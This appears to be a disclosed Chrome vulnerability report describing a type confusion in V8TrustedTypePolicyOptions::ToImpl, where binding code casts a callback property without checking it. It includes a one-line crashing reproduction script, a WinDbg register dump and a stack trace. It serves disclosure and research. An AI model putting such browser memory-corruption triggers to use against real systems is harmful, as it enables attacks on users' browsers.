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Chrome V8TrustedTypePolicyOptions ToImpl Type Confusion

Chrome: Type confusion in V8TrustedTypePolicyOptions::ToImpl



VULNERABILITY DETAILS
The binding code generator doesn't add checks to ensure that the callback
prope Chrome: Type confusion in V8TrustedTypePolicyOptions::ToImpl



VULNERABILITY DETAILS
The binding code generator doesn't add checks to ensure that the callback
properties of a dictionary are indeed JS functions. For example, for the
the TrustedTypePolicyOptions dictionary:
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/trustedtypes/trusted_type_policy_options.idl?rcl=6c2e672967359ad32d19af8b09873adab2c0beec&l=7
-------------------
dictionary TrustedTypePolicyOptions {
CreateHTMLCallback createHTML;
CreateScriptCallback createScript;
CreateURLCallback createScriptURL;
CreateURLCallback createURL;
boolean exposed = false;
};

callback CreateHTMLCallback = DOMString (DOMString input);
callback CreateScriptCallback = DOMString (DOMString input);
callback CreateURLCallback = USVString (DOMString input);
-------------------

the code is generated as follows:
https://cs.chromium.org/chromium/src/out/Debug/gen/third_party/blink/renderer/bindings/core/v8/v8_trusted_type_policy_options.cc?rcl=077f8deee2dee38d4836be1df20115eba4884f69&l=35
-------------------
void V8TrustedTypePolicyOptions::ToImpl(v8::Isolate* isolate, v8::Local<v8::Value> v8_value, TrustedTypePolicyOptions* impl, ExceptionState& exception_state) {
if (IsUndefinedOrNull(v8_value)) {
return;
}
if (!v8_value->IsObject()) {
exception_state.ThrowTypeError("cannot convert to dictionary.");
return;
}
v8::Local<v8::Object> v8Object = v8_value.As<v8::Object>();
ALLOW_UNUSED_LOCAL(v8Object);

const v8::Eternal<v8::Name>* keys = eternalV8TrustedTypePolicyOptionsKeys(isolate);
v8::TryCatch block(isolate);
v8::Local<v8::Context> context = isolate->GetCurrentContext();
v8::Local<v8::Value> create_html_value;
if (!v8Object->Get(context, keys[0].Get(isolate)).ToLocal(&create_html_value)) {
exception_state.RethrowV8Exception(block.Exception());
return;
}
if (create_html_value.IsEmpty() || create_html_value->IsUndefined()) {
// Do nothing.
} else {
V8CreateHTMLCallback* create_html_cpp_value = V8CreateHTMLCallback::Create(create_html_value.As<v8::Function>()); //******* cast with no prior check
impl->setCreateHTML(create_html_cpp_value);
}
[...]
-------------------

Thus, any JS object might be interpreted as a function.


VERSION
Google Chrome 72.0.3626.81 (Official Build) (64-bit)
Please note that the TrustedTypes feature is currently hidden behind the
"experimental platform features" flag.


REPRODUCTION CASE
<script>
TrustedTypes.createPolicy('foo', { createHTML: 0x41414141 });
</script>


(790.b30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa:
00007ffe`ba967f5a 488b41ff mov rax,qword ptr [rcx-1] ds:41414140`ffffffff=????????????????
0:000> r
rax=00001313b3350115 rbx=00006fc6d6eaf920 rcx=4141414100000000
rdx=000000e521dfd190 rsi=000000e521dfd190 rdi=000000e521dfd1d8
rip=00007ffeba967f5a rsp=000000e521dfd130 rbp=000000e521dfd290
r8=00007ffebfb25930 r9=0000000000000018 r10=0000000000000005
r11=00003f2bc628c240 r12=000000e521dfd330 r13=000001e7dbd16650
r14=000001e7ddc22a90 r15=00003f2bc62364b8
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa:
00007ffe`ba967f5a 488b41ff mov rax,qword ptr [rcx-1] ds:41414140`ffffffff=????????????????
0:000> k
# Child-SP RetAddr Call Site
00 000000e5`21dfd130 00007ffe`ba967f24 chrome_child!v8::internal::JSReceiver::GetCreationContext+0xa [C:\b\c\b\win64_clang\src\v8\src\objects.cc @ 4010]
01 000000e5`21dfd170 00007ffe`bab1a1d7 chrome_child!v8::Object::CreationContext+0x24 [C:\b\c\b\win64_clang\src\v8\src\api.cc @ 4859]
02 000000e5`21dfd1b0 00007ffe`bd196835 chrome_child!blink::CallbackFunctionBase::CallbackFunctionBase+0x47 [C:\b\c\b\win64_clang\src\third_party\blinkenderer\platform\bindings\callback_function_base.cc @ 13]
03 000000e5`21dfd210 00007ffe`bd195101 chrome_child!blink::V8TrustedTypePolicyOptions::ToImpl+0x125 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blinkenderer\bindings\core\v8\v8_trusted_type_policy_options.cc @ 57]
04 000000e5`21dfd2f0 00007ffe`ba957f93 chrome_child!blink::V8TrustedTypePolicyFactory::CreatePolicyMethodCallback+0x211 [C:\b\c\b\win64_clang\src\out\Release_x64\gen\third_party\blinkenderer\bindings\core\v8\v8_trusted_type_policy_factory.cc @ 234]
05 000000e5`21dfd3c0 00007ffe`bbbebb9f chrome_child!v8::internal::FunctionCallbackArguments::Call+0x253 [C:\b\c\b\win64_clang\src\v8\src\api-arguments-inl.h @ 147]
06 000000e5`21dfd4e0 00007ffe`bbbeb631 chrome_child!v8::internal::`anonymous namespace'::HandleApiCallHelper<0>+0x20f [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 111]
07 000000e5`21dfd5e0 00007ffe`ba957ca1 chrome_child!v8::internal::Builtin_Impl_HandleApiCall+0x111 [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 0]
08 000000e5`21dfd6a0 00007ffe`bc23cdcf chrome_child!v8::internal::Builtin_HandleApiCall+0x41 [C:\b\c\b\win64_clang\src\v8\src\builtins\builtins-api.cc @ 127]
09 000000e5`21dfd700 00003921`bff1b0d1 chrome_child!Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x4f


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.


Found by: glazunov@google.com

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